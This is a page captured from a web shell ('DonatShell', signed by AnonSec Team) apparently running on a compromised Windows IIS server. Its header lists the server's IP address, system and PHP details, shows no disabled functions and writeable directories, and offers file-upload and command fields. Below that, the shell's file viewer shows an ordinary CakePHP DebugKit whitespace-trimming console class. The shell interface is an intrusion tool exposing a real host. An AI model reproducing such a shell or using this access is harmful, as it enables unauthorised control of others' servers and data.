DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/Plugin/DebugKit/Console/Command/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/Plugin/DebugKit/Console/Command/WhitespaceShell.php
<?php
/**
 * CakePHP(tm) : Rapid Development Framework (http://cakephp.org)
 * Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
 *
 * Licensed under The MIT License
 * Redistributions of files must retain the above copyright notice.
 *
 * @copyright     Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
 * @link          http://cakephp.org CakePHP(tm) Project
 * @package       DebugKit.Console.Command
 * @since         DebugKit 1.3
 * @license       http://www.opensource.org/licenses/mit-license.php MIT License
 */
App::uses('Folder', 'Utility');

/**
 * Whitespace shell. Helps find and trim whitespace from files.
 *
 * Based on jperras' shell found at http://bin.cakephp.org/view/626544881
 *
 * @package       DebugKit.Console.Command
 * @since         DebugKit 1.3
 */
class WhitespaceShell extends Shell {

/**
 * Will check files for whitespace and notify you
 * of any files containing leading or trailing whitespace.
 *
 * @return void
 */
	public function main() {
		$path = APP;
		if (!empty($this->params['path']) && strpos($this->params['path'], '/') === 0) {
			$path = $this->params['path'];
		} elseif (!empty($this->params['path'])) {
			$path .= $this->params['path'];
		}
		$folder = new Folder($path);

		$r = $folder->findRecursive('.*\.php');
		$this->out("Checking *.php in " . $path);
		foreach ($r as $file) {
			$c = file_get_contents($file);
			if (preg_match('/^[\n\r|\n\r|\n|\r|\s]+\<\?php/', $c)) {
				$this->out('!!!contains leading whitespaces: ' . $this->shortPath($file));
			}
			if (preg_match('/\?\>[\n\r|\n\r|\n|\r|\s]+$/', $c)) {
				$this->out('!!!contains trailing whitespaces: ' . $this->shortPath($file));
			}
		}
	}

/**
 * Much like main() except files are modified. Be sure to have
 * backups or use version control.
 *
 * @return void
 */
	public function trim() {
		$path = APP;
		if (!empty($this->params['path']) && strpos($this->params['path'], '/') === 0) {
			$path = $this->params['path'];
		} elseif (!empty($this->params['path'])) {
			$path .= $this->params['path'];
		}
		$folder = new Folder($path);

		$r = $folder->findRecursive('.*\.php');
		$this->out("Checking *.php in " . $path);
		foreach ($r as $file) {
			$c = file_get_contents($file);
			if (preg_match('/^[\n\r|\n\r|\n|\r|\s]+\<\?php/', $c) || preg_match('/\?\>[\n\r|\n\r|\n|\r|\s]+$/', $c)) {
				$this->out('trimming' . $this->shortPath($file));
				$c = preg_replace('/^[\n\r|\n\r|\n|\r|\s]+\<\?php/', '<?php', $c);
				$c = preg_replace('/\?\>[\n\r|\n\r|\n|\r|\s]+$/', '?>', $c);
				file_put_contents($file, $c);
			}
		}
	}

/**
 * get the option parser
 *
 * @return ConsoleOptionParser
 */
	public function getOptionParser() {
		$parser = parent::getOptionParser();
		return $parser->addOption('path', array(
			'short' => 'p',
			'help' => __d('cake_console', 'Absolute path or relative to APP.')
		));
	}
}

Anon7 - 2022
AnonSec Team